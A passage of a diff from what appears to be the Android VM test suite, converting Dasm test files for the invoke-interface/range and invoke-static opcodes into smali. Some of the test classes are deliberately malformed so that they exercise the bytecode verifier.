+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/T_invoke_interface_range_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/T_invoke_interface_range_24.smali
new file mode 100644
index 0000000..a20dd10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/T_invoke_interface_range_24.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_range_24.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface/range {p0 .. p0}, Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.d
deleted file mode 100644
index fd10395..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_interface_range.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source T_invoke_interface_range_25.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_25
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_interface_range.d.ITestDefault
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-interface/range {v0}, dot/junit/opcodes/invoke_interface_range/d/ITestDefault/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/ITestDefault.smali
new file mode 100644
index 0000000..54110b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/T_invoke_interface_range_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/T_invoke_interface_range_25.smali
new file mode 100644
index 0000000..51dff98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/T_invoke_interface_range_25.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_range_25.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface/range {p0 .. p0}, Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.d
deleted file mode 100644
index eaf5408..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_3.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-       const/4 v1, 0
-       invoke-interface/range {v1}, dot/junit/opcodes/invoke_interface_range/ITest/doit()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.smali
new file mode 100644
index 0000000..02ff4e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_3.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       const/4 v1, 0
+       invoke-interface/range {v1}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.d
deleted file mode 100644
index 8a21324..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_4.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test()V
-    return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       invoke-interface/range {v7}, dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4/test()V
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.smali
new file mode 100644
index 0000000..c643257
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_range_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-interface/range {p0 .. p0}, Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4;->test()V
+
+    return-void
+.end method
+
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.d
deleted file mode 100644
index a0e0905..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.d
+++ /dev/null
@@ -1,28 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_5.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_5
-.super java/lang/Object
-
-
-.method public <init>(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 2
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       
-        invoke-interface/range {}, dot/junit/opcodes/invoke_interface_range/ITest/doit()V
-       
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.smali
new file mode 100644
index 0000000..d61be97
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.smali
@@ -0,0 +1,28 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 2
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       
+        invoke-interface/range {}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.d
deleted file mode 100644
index 13a63d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_7.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 5
-
-       invoke-interface/range {v4}, dot/junit/opcodes/invoke_interface_range/ITest/doitN()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.smali
new file mode 100644
index 0000000..a14b654
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 5
+
+       invoke-interface/range {v4}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doitN()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.d
deleted file mode 100644
index f81692c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_8.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       move-object v6, v8
-       invoke-interface/range {v6..v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.smali
new file mode 100644
index 0000000..d6ba933
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       move-object v6, v8
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.d
deleted file mode 100644
index cd73a85..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_9.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface/range {v6}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.smali
new file mode 100644
index 0000000..fb6ce80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_9.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface/range {v6}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.d
deleted file mode 100644
index 04c88aa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_1.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.smali
new file mode 100644
index 0000000..f7fb46a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_1.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.d
deleted file mode 100644
index 365afbb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_10.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_10
-.super java/lang/Object
-
-
-
-.method static <clinit>()V
-    return-void
-.end method
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/d/T_invoke_static_10/<clinit>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.smali
new file mode 100644
index 0000000..32bf74c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_10.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_10;
+.super  Ljava/lang/Object;
+
+
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_10;-><clinit>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.d
deleted file mode 100644
index 227b52c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_11.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static {}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
